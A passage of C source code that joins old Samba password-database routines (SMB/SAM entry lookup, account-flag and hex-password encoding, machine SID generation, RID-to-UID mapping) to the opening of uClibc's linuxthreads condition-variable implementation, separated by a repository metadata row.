struct smb_passwd *iterate_getsmbpwnam(char *name)
{
struct smb_passwd *pwd = NULL;
void *fp = NULL;
DEBUG(10, ("search by name: %s\n", name));
/* Open the sam password file - not for update. */
fp = startsmbpwent(False);
if (fp == NULL)
{
DEBUG(0, ("unable to open smb password database.\n"));
return NULL;
}
while ((pwd = getsmbpwent(fp)) != NULL && !strequal(pwd->smb_name, name))
;
if (pwd != NULL)
{
DEBUG(10, ("found by name: %s\n", name));
}
endsmbpwent(fp);
return pwd;
}
/***************************************************************
Start to enumerate the smb or sam passwd list. Returns a void pointer
to ensure no modification outside this module.
Note that currently it is being assumed that a pointer returned
from this function may be used to enumerate struct sam_passwd
entries as well as struct smb_passwd entries. This may need
to change. JRA.
****************************************************************/
void *startsmbpwent(BOOL update)
{
return pdb_ops->startsmbpwent(update);
}
/***************************************************************
End enumeration of the smb or sam passwd list.
Note that currently it is being assumed that a pointer returned
from this function may be used to enumerate struct sam_passwd
entries as well as struct smb_passwd entries. This may need
to change. JRA.
****************************************************************/
void endsmbpwent(void *vp)
{
pdb_ops->endsmbpwent(vp);
}
/*************************************************************************
Routine to return the next entry in the smb passwd list.
*************************************************************************/
struct smb_passwd *getsmbpwent(void *vp)
{
return pdb_ops->getsmbpwent(vp);
}
/************************************************************************
Routine to add an entry to the smb passwd file.
*************************************************************************/
BOOL add_smbpwd_entry(struct smb_passwd *newpwd)
{
return pdb_ops->add_smbpwd_entry(newpwd);
}
/************************************************************************
Routine to search the smb passwd file for an entry matching the username.
and then modify its password entry. We can't use the startsampwent()/
getsampwent()/endsampwent() interfaces here as we depend on looking
in the actual file to decide how much room we have to write data.
override = False, normal
override = True, override XXXXXXXX'd out password or NO PASS
************************************************************************/
BOOL mod_smbpwd_entry(struct smb_passwd* pwd, BOOL override)
{
return pdb_ops->mod_smbpwd_entry(pwd, override);
}
/************************************************************************
Routine to delete an entry from the smb passwd file.
*************************************************************************/
BOOL del_smbpwd_entry(const char *name)
{
return pdb_ops->del_smbpwd_entry(name);
}
/************************************************************************
Routine to search smb passwd by name.
*************************************************************************/
struct smb_passwd *getsmbpwnam(char *name)
{
return pdb_ops->getsmbpwnam(name);
}
/************************************************************************
Routine to search smb passwd by user rid.
*************************************************************************/
struct smb_passwd *getsmbpwrid(uint32 user_rid)
{
return pdb_ops->getsmbpwrid(user_rid);
}
/************************************************************************
Routine to search smb passwd by uid.
*************************************************************************/
struct smb_passwd *getsmbpwuid(uid_t smb_userid)
{
return pdb_ops->getsmbpwuid(smb_userid);
}
/*
* Functions that manupulate a struct sam_passwd.
*/
/************************************************************************
Utility function to search sam passwd by name. use this if your database
does not have search facilities.
*************************************************************************/
struct sam_passwd *iterate_getsam21pwnam(char *name)
{
struct sam_passwd *pwd = NULL;
void *fp = NULL;
DEBUG(10, ("search by name: %s\n", name));
/* Open the smb password database - not for update. */
fp = startsmbpwent(False);
if (fp == NULL)
{
DEBUG(0, ("unable to open sam password database.\n"));
return NULL;
}
while ((pwd = getsam21pwent(fp)) != NULL && !strequal(pwd->smb_name, name))
{
DEBUG(10, ("iterate: %s 0x%x\n", pwd->smb_name, pwd->user_rid));
}
if (pwd != NULL)
{
DEBUG(10, ("found by name: %s\n", name));
}
endsmbpwent(fp);
return pwd;
}
/************************************************************************
Utility function to search sam passwd by rid. use this if your database
does not have search facilities.
search capability by both rid and uid are needed as the rid <-> uid
mapping may be non-monotonic.
*************************************************************************/
struct sam_passwd *iterate_getsam21pwrid(uint32 rid)
{
struct sam_passwd *pwd = NULL;
void *fp = NULL;
DEBUG(10, ("search by rid: %x\n", rid));
/* Open the smb password file - not for update. */
fp = startsmbpwent(False);
if (fp == NULL)
{
DEBUG(0, ("unable to open sam password database.\n"));
return NULL;
}
while ((pwd = getsam21pwent(fp)) != NULL && pwd->user_rid != rid)
{
DEBUG(10, ("iterate: %s 0x%x\n", pwd->smb_name, pwd->user_rid));
}
if (pwd != NULL)
{
DEBUG(10, ("found by user_rid: %x\n", rid));
}
endsmbpwent(fp);
return pwd;
}
/************************************************************************
Utility function to search sam passwd by uid. use this if your database
does not have search facilities.
search capability by both rid and uid are needed as the rid <-> uid
mapping may be non-monotonic.
*************************************************************************/
struct sam_passwd *iterate_getsam21pwuid(uid_t uid)
{
struct sam_passwd *pwd = NULL;
void *fp = NULL;
DEBUG(10, ("search by uid: %x\n", (int)uid));
/* Open the smb password file - not for update. */
fp = startsmbpwent(False);
if (fp == NULL)
{
DEBUG(0, ("unable to open sam password database.\n"));
return NULL;
}
while ((pwd = getsam21pwent(fp)) != NULL && pwd->smb_userid != uid)
;
if (pwd != NULL)
{
DEBUG(10, ("found by smb_userid: %x\n", (int)uid));
}
endsmbpwent(fp);
return pwd;
}
/*************************************************************************
Routine to return a display info structure, by rid
*************************************************************************/
struct sam_disp_info *getsamdisprid(uint32 rid)
{
return pdb_ops->getsamdisprid(rid);
}
/*************************************************************************
Routine to return the next entry in the sam passwd list.
*************************************************************************/
struct sam_passwd *getsam21pwent(void *vp)
{
return pdb_ops->getsam21pwent(vp);
}
/************************************************************************
Routine to search sam passwd by name.
*************************************************************************/
struct sam_passwd *getsam21pwnam(char *name)
{
return pdb_ops->getsam21pwnam(name);
}
/************************************************************************
Routine to search sam passwd by rid.
*************************************************************************/
struct sam_passwd *getsam21pwrid(uint32 rid)
{
return pdb_ops->getsam21pwrid(rid);
}
/**********************************************************
**********************************************************
utility routines which are likely to be useful to all password
databases
**********************************************************
**********************************************************/
/*************************************************************
initialises a struct sam_disp_info.
**************************************************************/
static void pdb_init_dispinfo(struct sam_disp_info *user)
{
if (user == NULL) return;
memset((char *)user, '\0', sizeof(*user));
}
/*************************************************************
initialises a struct smb_passwd.
**************************************************************/
void pdb_init_smb(struct smb_passwd *user)
{
if (user == NULL) return;
memset((char *)user, '\0', sizeof(*user));
user->pass_last_set_time = (time_t)-1;
}
/*************************************************************
initialises a struct sam_passwd.
**************************************************************/
void pdb_init_sam(struct sam_passwd *user)
{
if (user == NULL) return;
memset((char *)user, '\0', sizeof(*user));
user->logon_time = (time_t)-1;
user->logoff_time = (time_t)-1;
user->kickoff_time = (time_t)-1;
user->pass_last_set_time = (time_t)-1;
user->pass_can_change_time = (time_t)-1;
user->pass_must_change_time = (time_t)-1;
}
/*************************************************************************
Routine to return the next entry in the sam passwd list.
*************************************************************************/
struct sam_disp_info *pdb_sam_to_dispinfo(struct sam_passwd *user)
{
static struct sam_disp_info disp_info;
if (user == NULL) return NULL;
pdb_init_dispinfo(&disp_info);
disp_info.smb_name = user->smb_name;
disp_info.full_name = user->full_name;
disp_info.user_rid = user->user_rid;
return &disp_info;
}
/*************************************************************
converts a sam_passwd structure to a smb_passwd structure.
**************************************************************/
struct smb_passwd *pdb_sam_to_smb(struct sam_passwd *user)
{
static struct smb_passwd pw_buf;
if (user == NULL) return NULL;
pdb_init_smb(&pw_buf);
pw_buf.smb_userid = user->smb_userid;
pw_buf.smb_name = user->smb_name;
pw_buf.smb_passwd = user->smb_passwd;
pw_buf.smb_nt_passwd = user->smb_nt_passwd;
pw_buf.acct_ctrl = user->acct_ctrl;
pw_buf.pass_last_set_time = user->pass_last_set_time;
return &pw_buf;
}
/*************************************************************
converts a smb_passwd structure to a sam_passwd structure.
**************************************************************/
struct sam_passwd *pdb_smb_to_sam(struct smb_passwd *user)
{
static struct sam_passwd pw_buf;
if (user == NULL) return NULL;
pdb_init_sam(&pw_buf);
pw_buf.smb_userid = user->smb_userid;
pw_buf.smb_name = user->smb_name;
pw_buf.smb_passwd = user->smb_passwd;
pw_buf.smb_nt_passwd = user->smb_nt_passwd;
pw_buf.acct_ctrl = user->acct_ctrl;
pw_buf.pass_last_set_time = user->pass_last_set_time;
return &pw_buf;
}
/**********************************************************
Encode the account control bits into a string.
length = length of string to encode into (including terminating
null). length *MUST BE MORE THAN 2* !
**********************************************************/
char *pdb_encode_acct_ctrl(uint16 acct_ctrl, size_t length)
{
static fstring acct_str;
size_t i = 0;
acct_str[i++] = '[';
if (acct_ctrl & ACB_PWNOTREQ ) acct_str[i++] = 'N';
if (acct_ctrl & ACB_DISABLED ) acct_str[i++] = 'D';
if (acct_ctrl & ACB_HOMDIRREQ) acct_str[i++] = 'H';
if (acct_ctrl & ACB_TEMPDUP ) acct_str[i++] = 'T';
if (acct_ctrl & ACB_NORMAL ) acct_str[i++] = 'U';
if (acct_ctrl & ACB_MNS ) acct_str[i++] = 'M';
if (acct_ctrl & ACB_WSTRUST ) acct_str[i++] = 'W';
if (acct_ctrl & ACB_SVRTRUST ) acct_str[i++] = 'S';
if (acct_ctrl & ACB_AUTOLOCK ) acct_str[i++] = 'L';
if (acct_ctrl & ACB_PWNOEXP ) acct_str[i++] = 'X';
if (acct_ctrl & ACB_DOMTRUST ) acct_str[i++] = 'I';
for ( ; i < length - 2 ; i++ ) { acct_str[i] = ' '; }
i = length - 2;
acct_str[i++] = ']';
acct_str[i++] = '\0';
return acct_str;
}
/**********************************************************
Decode the account control bits from a string.
this function breaks coding standards minimum line width of 80 chars.
reason: vertical line-up code clarity - all case statements fit into
15 lines, which is more important.
**********************************************************/
uint16 pdb_decode_acct_ctrl(const char *p)
{
uint16 acct_ctrl = 0;
BOOL finished = False;
/*
* Check if the account type bits have been encoded after the
* NT password (in the form [NDHTUWSLXI]).
*/
if (*p != '[') return 0;
for (p++; *p && !finished; p++)
{
switch (*p)
{
case 'N': { acct_ctrl |= ACB_PWNOTREQ ; break; /* 'N'o password. */ }
case 'D': { acct_ctrl |= ACB_DISABLED ; break; /* 'D'isabled. */ }
case 'H': { acct_ctrl |= ACB_HOMDIRREQ; break; /* 'H'omedir required. */ }
case 'T': { acct_ctrl |= ACB_TEMPDUP ; break; /* 'T'emp account. */ }
case 'U': { acct_ctrl |= ACB_NORMAL ; break; /* 'U'ser account (normal). */ }
case 'M': { acct_ctrl |= ACB_MNS ; break; /* 'M'NS logon user account. What is this ? */ }
case 'W': { acct_ctrl |= ACB_WSTRUST ; break; /* 'W'orkstation account. */ }
case 'S': { acct_ctrl |= ACB_SVRTRUST ; break; /* 'S'erver account. */ }
case 'L': { acct_ctrl |= ACB_AUTOLOCK ; break; /* 'L'ocked account. */ }
case 'X': { acct_ctrl |= ACB_PWNOEXP ; break; /* No 'X'piry on password */ }
case 'I': { acct_ctrl |= ACB_DOMTRUST ; break; /* 'I'nterdomain trust account. */ }
case ' ': { break; }
case ':':
case '\n':
case '\0':
case ']':
default: { finished = True; }
}
}
return acct_ctrl;
}
/*******************************************************************
gets password-database-format time from a string.
********************************************************************/
static time_t get_time_from_string(const char *p)
{
int i;
for (i = 0; i < 8; i++)
{
if (p[i] == '\0' || !isxdigit((int)(p[i]&0xFF)))
break;
}
if (i == 8)
{
/*
* p points at 8 characters of hex digits -
* read into a time_t as the seconds since
* 1970 that the password was last changed.
*/
return (time_t)strtol(p, NULL, 16);
}
return (time_t)-1;
}
/*******************************************************************
gets password last set time
********************************************************************/
time_t pdb_get_last_set_time(const char *p)
{
if (*p && StrnCaseCmp(p, "LCT-", 4))
{
return get_time_from_string(p + 4);
}
return (time_t)-1;
}
/*******************************************************************
sets password-database-format time in a string.
********************************************************************/
static void set_time_in_string(char *p, int max_len, char *type, time_t t)
{
slprintf(p, max_len, ":%s-%08X:", type, (uint32)t);
}
/*******************************************************************
sets logon time
********************************************************************/
void pdb_set_logon_time(char *p, int max_len, time_t t)
{
set_time_in_string(p, max_len, "LNT", t);
}
/*******************************************************************
sets logoff time
********************************************************************/
void pdb_set_logoff_time(char *p, int max_len, time_t t)
{
set_time_in_string(p, max_len, "LOT", t);
}
/*******************************************************************
sets kickoff time
********************************************************************/
void pdb_set_kickoff_time(char *p, int max_len, time_t t)
{
set_time_in_string(p, max_len, "KOT", t);
}
/*******************************************************************
sets password can change time
********************************************************************/
void pdb_set_can_change_time(char *p, int max_len, time_t t)
{
set_time_in_string(p, max_len, "CCT", t);
}
/*******************************************************************
sets password last set time
********************************************************************/
void pdb_set_must_change_time(char *p, int max_len, time_t t)
{
set_time_in_string(p, max_len, "MCT", t);
}
/*******************************************************************
sets password last set time
********************************************************************/
void pdb_set_last_set_time(char *p, int max_len, time_t t)
{
set_time_in_string(p, max_len, "LCT", t);
}
/*************************************************************
Routine to set 32 hex password characters from a 16 byte array.
**************************************************************/
void pdb_sethexpwd(char *p, unsigned char *pwd, uint16 acct_ctrl)
{
if (pwd != NULL)
{
int i;
for (i = 0; i < 16; i++)
{
slprintf(&p[i*2], 3, "%02X", pwd[i]);
}
}
else
{
if (IS_BITS_SET_ALL(acct_ctrl, ACB_PWNOTREQ))
{
safe_strcpy(p, "NO PASSWORDXXXXXXXXXXXXXXXXXXXXX", 33);
}
else
{
safe_strcpy(p, "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", 33);
}
}
}
/*************************************************************
Routine to get the 32 hex characters and turn them
into a 16 byte array.
**************************************************************/
BOOL pdb_gethexpwd(char *p, unsigned char *pwd)
{
int i;
unsigned char lonybble, hinybble;
char *hexchars = "0123456789ABCDEF";
char *p1, *p2;
for (i = 0; i < 32; i += 2)
{
hinybble = toupper(p[i]);
lonybble = toupper(p[i + 1]);
p1 = strchr(hexchars, hinybble);
p2 = strchr(hexchars, lonybble);
if (!p1 || !p2)
{
return (False);
}
hinybble = PTR_DIFF(p1, hexchars);
lonybble = PTR_DIFF(p2, hexchars);
pwd[i / 2] = (hinybble << 4) | lonybble;
}
return (True);
}
/*******************************************************************
Group and User RID username mapping function
********************************************************************/
BOOL pdb_name_to_rid(char *user_name, uint32 *u_rid, uint32 *g_rid)
{
struct passwd *pw = Get_Pwnam(user_name, False);
if (u_rid == NULL || g_rid == NULL || user_name == NULL)
{
return False;
}
if (!pw)
{
DEBUG(1,("Username %s is invalid on this system\n", user_name));
return False;
}
if (user_in_list(user_name, lp_domain_guest_users()))
{
*u_rid = DOMAIN_USER_RID_GUEST;
}
else if (user_in_list(user_name, lp_domain_admin_users()))
{
*u_rid = DOMAIN_USER_RID_ADMIN;
}
else
{
/* turn the unix UID into a Domain RID. this is what the posix
sub-system does (adds 1000 to the uid) */
*u_rid = pdb_uid_to_user_rid(pw->pw_uid);
}
/* absolutely no idea what to do about the unix GID to Domain RID mapping */
*g_rid = pdb_gid_to_group_rid(pw->pw_gid);
return True;
}
/****************************************************************************
Read the machine SID from a file.
****************************************************************************/
static BOOL read_sid_from_file(int fd, char *sid_file)
{
fstring fline;
memset(fline, '\0', sizeof(fline));
if(read(fd, fline, sizeof(fline) -1 ) < 0) {
DEBUG(0,("unable to read file %s. Error was %s\n",
sid_file, strerror(errno) ));
return False;
}
/*
* Convert to the machine SID.
*/
fline[sizeof(fline)-1] = '\0';
if(!string_to_sid( &global_sam_sid, fline)) {
DEBUG(0,("unable to generate machine SID.\n"));
return False;
}
return True;
}
/****************************************************************************
Generate the global machine sid. Look for the MACHINE.SID file first, if
not found then look in smb.conf and use it to create the MACHINE.SID file.
****************************************************************************/
BOOL pdb_generate_sam_sid(void)
{
int fd;
char *p;
pstring sid_file;
fstring sid_string;
SMB_STRUCT_STAT st;
BOOL overwrite_bad_sid = False;
generate_wellknown_sids();
pstrcpy(sid_file, lp_smb_passwd_file());
p = strrchr(sid_file, '/');
if(p != NULL) {
*++p = '\0';
}
if (!directory_exist(sid_file, NULL)) {
if (mkdir(sid_file, 0700) != 0) {
DEBUG(0,("can't create private directory %s : %s\n",
sid_file, strerror(errno)));
return False;
}
}
pstrcat(sid_file, "MACHINE.SID");
if((fd = sys_open(sid_file, O_RDWR | O_CREAT, 0644)) == -1) {
DEBUG(0,("unable to open or create file %s. Error was %s\n",
sid_file, strerror(errno) ));
return False;
}
/*
* Check if the file contains data.
*/
if(sys_fstat( fd, &st) < 0) {
DEBUG(0,("unable to stat file %s. Error was %s\n",
sid_file, strerror(errno) ));
close(fd);
return False;
}
if(st.st_size > 0) {
/*
* We have a valid SID - read it.
*/
if(!read_sid_from_file( fd, sid_file)) {
DEBUG(0,("unable to read file %s. Error was %s\n",
sid_file, strerror(errno) ));
close(fd);
return False;
}
/*
* JRA. Reversed the sense of this test now that I have
* actually done this test *personally*. One more reason
* to never trust third party information you have not
* independently verified.... sigh. JRA.
*/
if(global_sam_sid.num_auths > 0 && global_sam_sid.sub_auths[0] == 0x21) {
/*
* Fix and re-write...
*/
overwrite_bad_sid = True;
global_sam_sid.sub_auths[0] = 21;
DEBUG(5,("pdb_generate_sam_sid: Old (incorrect) sid id_auth of hex 21 \
detected - re-writing to be decimal 21 instead.\n" ));
sid_to_string(sid_string, &global_sam_sid);
if(sys_lseek(fd, (SMB_OFF_T)0, SEEK_SET) != 0) {
DEBUG(0,("unable to seek file file %s. Error was %s\n",
sid_file, strerror(errno) ));
close(fd);
return False;
}
} else {
close(fd);
return True;
}
} else {
/*
* The file contains no data - we need to generate our
* own sid.
* Generate the new sid data & turn it into a string.
*/
int i;
uchar raw_sid_data[12];
DOM_SID mysid;
memset((char *)&mysid, '\0', sizeof(DOM_SID));
mysid.sid_rev_num = 1;
mysid.id_auth[5] = 5;
mysid.num_auths = 0;
mysid.sub_auths[mysid.num_auths++] = 21;
generate_random_buffer( raw_sid_data, 12, True);
for( i = 0; i < 3; i++)
mysid.sub_auths[mysid.num_auths++] = IVAL(raw_sid_data, i*4);
sid_to_string(sid_string, &mysid);
}
fstrcat(sid_string, "\n");
/*
* Ensure our new SID is valid.
*/
if(!string_to_sid( &global_sam_sid, sid_string)) {
DEBUG(0,("unable to generate machine SID.\n"));
return False;
}
/*
* Do an exclusive blocking lock on the file.
*/
if(!do_file_lock( fd, 60, F_WRLCK)) {
DEBUG(0,("unable to lock file %s. Error was %s\n",
sid_file, strerror(errno) ));
close(fd);
return False;
}
if(!overwrite_bad_sid) {
/*
* At this point we have a blocking lock on the SID
* file - check if in the meantime someone else wrote
* SID data into the file. If so - they were here first,
* use their data.
*/
if(sys_fstat( fd, &st) < 0) {
DEBUG(0,("unable to stat file %s. Error was %s\n",
sid_file, strerror(errno) ));
close(fd);
return False;
}
if(st.st_size > 0) {
/*
* Unlock as soon as possible to reduce
* contention on the exclusive lock.
*/
do_file_lock( fd, 60, F_UNLCK);
/*
* We have a valid SID - read it.
*/
if(!read_sid_from_file( fd, sid_file)) {
DEBUG(0,("unable to read file %s. Error was %s\n",
sid_file, strerror(errno) ));
close(fd);
return False;
}
close(fd);
return True;
}
}
/*
* The file is still empty and we have an exlusive lock on it,
* or we're fixing an earlier mistake.
* Write out out SID data into the file.
*/
/*
* Use chmod here as some (strange) UNIX's don't
* have fchmod. JRA.
*/
if(chmod(sid_file, 0644) < 0) {
DEBUG(0,("unable to set correct permissions on file %s. \
Error was %s\n", sid_file, strerror(errno) ));
do_file_lock( fd, 60, F_UNLCK);
close(fd);
return False;
}
if(write( fd, sid_string, strlen(sid_string)) != strlen(sid_string)) {
DEBUG(0,("unable to write file %s. Error was %s\n",
sid_file, strerror(errno) ));
do_file_lock( fd, 60, F_UNLCK);
close(fd);
return False;
}
/*
* Unlock & exit.
*/
do_file_lock( fd, 60, F_UNLCK);
close(fd);
return True;
}
/*******************************************************************
Converts NT user RID to a UNIX uid.
********************************************************************/
uid_t pdb_user_rid_to_uid(uint32 user_rid)
{
return (uid_t)(((user_rid & (~USER_RID_TYPE))- 1000)/RID_MULTIPLIER);
}
/*******************************************************************
Converts NT user RID to a UNIX gid.
********************************************************************/
gid_t pdb_user_rid_to_gid(uint32 user_rid)
{
return (uid_t)(((user_rid & (~GROUP_RID_TYPE))- 1000)/RID_MULTIPLIER);
}
/*******************************************************************
converts UNIX uid to an NT User RID.
********************************************************************/
uint32 pdb_uid_to_user_rid(uid_t uid)
{
return (((((uint32)uid)*RID_MULTIPLIER) + 1000) | USER_RID_TYPE);
}
/*******************************************************************
converts NT Group RID to a UNIX uid.
********************************************************************/
uint32 pdb_gid_to_group_rid(gid_t gid)
{
return (((((uint32)gid)*RID_MULTIPLIER) + 1000) | GROUP_RID_TYPE);
}
/*******************************************************************
Decides if a RID is a well known RID.
********************************************************************/
static BOOL pdb_rid_is_well_known(uint32 rid)
{
return (rid < 1000);
}
/*******************************************************************
Decides if a RID is a user or group RID.
********************************************************************/
BOOL pdb_rid_is_user(uint32 rid)
{
/* lkcl i understand that NT attaches an enumeration to a RID
* such that it can be identified as either a user, group etc
* type. there are 5 such categories, and they are documented.
*/
if(pdb_rid_is_well_known(rid)) {
/*
* The only well known user RIDs are DOMAIN_USER_RID_ADMIN
* and DOMAIN_USER_RID_GUEST.
*/
if(rid == DOMAIN_USER_RID_ADMIN || rid == DOMAIN_USER_RID_GUEST)
return True;
} else if((rid & RID_TYPE_MASK) == USER_RID_TYPE) {
return True;
}
return False;
}
/*******************************************************************
Convert a rid into a name. Used in the lookup SID rpc.
********************************************************************/
BOOL lookup_local_rid(uint32 rid, char *name, uint8 *psid_name_use)
{
BOOL is_user = pdb_rid_is_user(rid);
DEBUG(5,("lookup_local_rid: looking up %s RID %u.\n", is_user ? "user" :
"group", (unsigned int)rid));
if(is_user) {
if(rid == DOMAIN_USER_RID_ADMIN) {
pstring admin_users;
char *p = admin_users;
pstrcpy( admin_users, lp_domain_admin_users());
if(!next_token(&p, name, NULL, sizeof(fstring)))
fstrcpy(name, "Administrator");
} else if (rid == DOMAIN_USER_RID_GUEST) {
pstring guest_users;
char *p = guest_users;
pstrcpy( guest_users, lp_domain_guest_users());
if(!next_token(&p, name, NULL, sizeof(fstring)))
fstrcpy(name, "Guest");
} else {
uid_t uid = pdb_user_rid_to_uid(rid);
struct passwd *pass = sys_getpwuid(uid);
*psid_name_use = SID_NAME_USER;
DEBUG(5,("lookup_local_rid: looking up uid %u %s\n", (unsigned int)uid,
pass ? "succeeded" : "failed" ));
if(!pass) {
slprintf(name, sizeof(fstring)-1, "unix_user.%u", (unsigned int)uid);
return True;
}
fstrcpy(name, pass->pw_name);
DEBUG(5,("lookup_local_rid: found user %s for rid %u\n", name,
(unsigned int)rid ));
}
} else {
gid_t gid = pdb_user_rid_to_gid(rid);
struct group *gr = getgrgid(gid);
*psid_name_use = SID_NAME_ALIAS;
DEBUG(5,("lookup_local_rid: looking up gid %u %s\n", (unsigned int)gid,
gr ? "succeeded" : "failed" ));
if(!gr) {
slprintf(name, sizeof(fstring)-1, "unix_group.%u", (unsigned int)gid);
return True;
}
fstrcpy( name, gr->gr_name);
DEBUG(5,("lookup_local_rid: found group %s for rid %u\n", name,
(unsigned int)rid ));
}
return True;
}
/*******************************************************************
Convert a name into a SID. Used in the lookup name rpc.
********************************************************************/
BOOL lookup_local_name(char *domain, char *user, DOM_SID *psid, uint8 *psid_name_use)
{
extern DOM_SID global_sid_World_Domain;
struct passwd *pass = NULL;
DOM_SID local_sid;
sid_copy(&local_sid, &global_sam_sid);
if(!strequal(global_myname, domain) && !strequal(global_myworkgroup, domain))
return False;
/*
* Special case for MACHINE\Everyone. Map to the world_sid.
*/
if(strequal(user, "Everyone")) {
sid_copy( psid, &global_sid_World_Domain);
sid_append_rid(psid, 0);
*psid_name_use = SID_NAME_ALIAS;
return True;
}
(void)map_username(user);
if(!(pass = Get_Pwnam(user, False))) {
/*
* Maybe it was a group ?
*/
struct group *grp = getgrnam(user);
if(!grp)
return False;
sid_append_rid( &local_sid, pdb_gid_to_group_rid(grp->gr_gid));
*psid_name_use = SID_NAME_ALIAS;
} else {
sid_append_rid( &local_sid, pdb_uid_to_user_rid(pass->pw_uid));
*psid_name_use = SID_NAME_USER;
}
sid_copy( psid, &local_sid);
return True;
}
| 27.935033 | 99 | 0.528158 |
23e71393ca5f6e1fe7e05bf5b0d34675f2a50cdc | 9,479 | c | C | src/uclibc/uClibc-0.9.33.2/libpthread/linuxthreads.old/condvar.c | aps337/unum-sdk | 2de3ae625e474c5064f6a88b720ec2ffdcdefad9 | [
"Apache-2.0"
] | 31 | 2018-08-01T21:25:24.000Z | 2022-02-14T07:52:34.000Z | src/uclibc/uClibc-0.9.33.2/libpthread/linuxthreads.old/condvar.c | aps337/unum-sdk | 2de3ae625e474c5064f6a88b720ec2ffdcdefad9 | [
"Apache-2.0"
] | 40 | 2018-12-03T19:48:52.000Z | 2021-03-10T06:34:26.000Z | src/uclibc/uClibc-0.9.33.2/libpthread/linuxthreads.old/condvar.c | aps337/unum-sdk | 2de3ae625e474c5064f6a88b720ec2ffdcdefad9 | [
"Apache-2.0"
] | 20 | 2018-11-16T21:19:22.000Z | 2021-10-18T23:08:24.000Z | /* Linuxthreads - a simple clone()-based implementation of Posix */
/* threads for Linux. */
/* Copyright (C) 1996 Xavier Leroy (Xavier.Leroy@inria.fr) */
/* and Pavel Krauz (krauz@fsid.cvut.cz). */
/* */
/* This program is free software; you can redistribute it and/or */
/* modify it under the terms of the GNU Library General Public License */
/* as published by the Free Software Foundation; either version 2 */
/* of the License, or (at your option) any later version. */
/* */
/* This program is distributed in the hope that it will be useful, */
/* but WITHOUT ANY WARRANTY; without even the implied warranty of */
/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */
/* GNU Library General Public License for more details. */
/* Condition variables */
#include <errno.h>
#include <sched.h>
#include <stddef.h>
#include <sys/time.h>
#include "pthread.h"
#include "internals.h"
#include "spinlock.h"
#include "queue.h"
#include "restart.h"
libpthread_hidden_proto(pthread_cond_broadcast)
libpthread_hidden_proto(pthread_cond_destroy)
libpthread_hidden_proto(pthread_cond_init)
libpthread_hidden_proto(pthread_cond_signal)
libpthread_hidden_proto(pthread_cond_wait)
libpthread_hidden_proto(pthread_cond_timedwait)
libpthread_hidden_proto(pthread_condattr_destroy)
libpthread_hidden_proto(pthread_condattr_init)
int pthread_cond_init(pthread_cond_t *cond,
const pthread_condattr_t *cond_attr attribute_unused)
{
__pthread_init_lock(&cond->__c_lock);
cond->__c_waiting = NULL;
return 0;
}
libpthread_hidden_def(pthread_cond_init)
int pthread_cond_destroy(pthread_cond_t *cond)
{
if (cond->__c_waiting != NULL) return EBUSY;
return 0;
}
libpthread_hidden_def(pthread_cond_destroy)
/* Function called by pthread_cancel to remove the thread from
waiting on a condition variable queue. */
static int cond_extricate_func(void *obj, pthread_descr th)
{
volatile pthread_descr self = thread_self();
pthread_cond_t *cond = obj;
int did_remove = 0;
__pthread_lock(&cond->__c_lock, self);
did_remove = remove_from_queue(&cond->__c_waiting, th);
__pthread_unlock(&cond->__c_lock);
return did_remove;
}
int pthread_cond_wait(pthread_cond_t *cond, pthread_mutex_t *mutex)
{
volatile pthread_descr self = thread_self();
pthread_extricate_if extr;
int already_canceled = 0;
int spurious_wakeup_count;
/* Check whether the mutex is locked and owned by this thread. */
if (mutex->__m_kind != PTHREAD_MUTEX_TIMED_NP
&& mutex->__m_kind != PTHREAD_MUTEX_ADAPTIVE_NP
&& mutex->__m_owner != self)
return EINVAL;
/* Set up extrication interface */
extr.pu_object = cond;
extr.pu_extricate_func = cond_extricate_func;
/* Register extrication interface */
THREAD_SETMEM(self, p_condvar_avail, 0);
__pthread_set_own_extricate_if(self, &extr);
/* Atomically enqueue thread for waiting, but only if it is not
canceled. If the thread is canceled, then it will fall through the
suspend call below, and then call pthread_exit without
having to worry about whether it is still on the condition variable queue.
This depends on pthread_cancel setting p_canceled before calling the
extricate function. */
__pthread_lock(&cond->__c_lock, self);
if (!(THREAD_GETMEM(self, p_canceled)
&& THREAD_GETMEM(self, p_cancelstate) == PTHREAD_CANCEL_ENABLE))
enqueue(&cond->__c_waiting, self);
else
already_canceled = 1;
__pthread_unlock(&cond->__c_lock);
if (already_canceled) {
__pthread_set_own_extricate_if(self, 0);
__pthread_do_exit(PTHREAD_CANCELED, CURRENT_STACK_FRAME);
}
__pthread_mutex_unlock(mutex);
spurious_wakeup_count = 0;
while (1)
{
suspend(self);
if (THREAD_GETMEM(self, p_condvar_avail) == 0
&& (THREAD_GETMEM(self, p_woken_by_cancel) == 0
|| THREAD_GETMEM(self, p_cancelstate) != PTHREAD_CANCEL_ENABLE))
{
/* Count resumes that don't belong to us. */
spurious_wakeup_count++;
continue;
}
break;
}
__pthread_set_own_extricate_if(self, 0);
/* Check for cancellation again, to provide correct cancellation
point behavior */
if (THREAD_GETMEM(self, p_woken_by_cancel)
&& THREAD_GETMEM(self, p_cancelstate) == PTHREAD_CANCEL_ENABLE) {
THREAD_SETMEM(self, p_woken_by_cancel, 0);
__pthread_mutex_lock(mutex);
__pthread_do_exit(PTHREAD_CANCELED, CURRENT_STACK_FRAME);
}
/* Put back any resumes we caught that don't belong to us. */
while (spurious_wakeup_count--)
restart(self);
__pthread_mutex_lock(mutex);
return 0;
}
libpthread_hidden_def(pthread_cond_wait)
static int
pthread_cond_timedwait_relative(pthread_cond_t *cond,
pthread_mutex_t *mutex,
const struct timespec * abstime)
{
volatile pthread_descr self = thread_self();
int already_canceled = 0;
pthread_extricate_if extr;
int spurious_wakeup_count;
/* Check whether the mutex is locked and owned by this thread. */
if (mutex->__m_kind != PTHREAD_MUTEX_TIMED_NP
&& mutex->__m_kind != PTHREAD_MUTEX_ADAPTIVE_NP
&& mutex->__m_owner != self)
return EINVAL;
/* Set up extrication interface */
extr.pu_object = cond;
extr.pu_extricate_func = cond_extricate_func;
/* Register extrication interface */
THREAD_SETMEM(self, p_condvar_avail, 0);
__pthread_set_own_extricate_if(self, &extr);
/* Enqueue to wait on the condition and check for cancellation. */
__pthread_lock(&cond->__c_lock, self);
if (!(THREAD_GETMEM(self, p_canceled)
&& THREAD_GETMEM(self, p_cancelstate) == PTHREAD_CANCEL_ENABLE))
enqueue(&cond->__c_waiting, self);
else
already_canceled = 1;
__pthread_unlock(&cond->__c_lock);
if (already_canceled) {
__pthread_set_own_extricate_if(self, 0);
__pthread_do_exit(PTHREAD_CANCELED, CURRENT_STACK_FRAME);
}
__pthread_mutex_unlock(mutex);
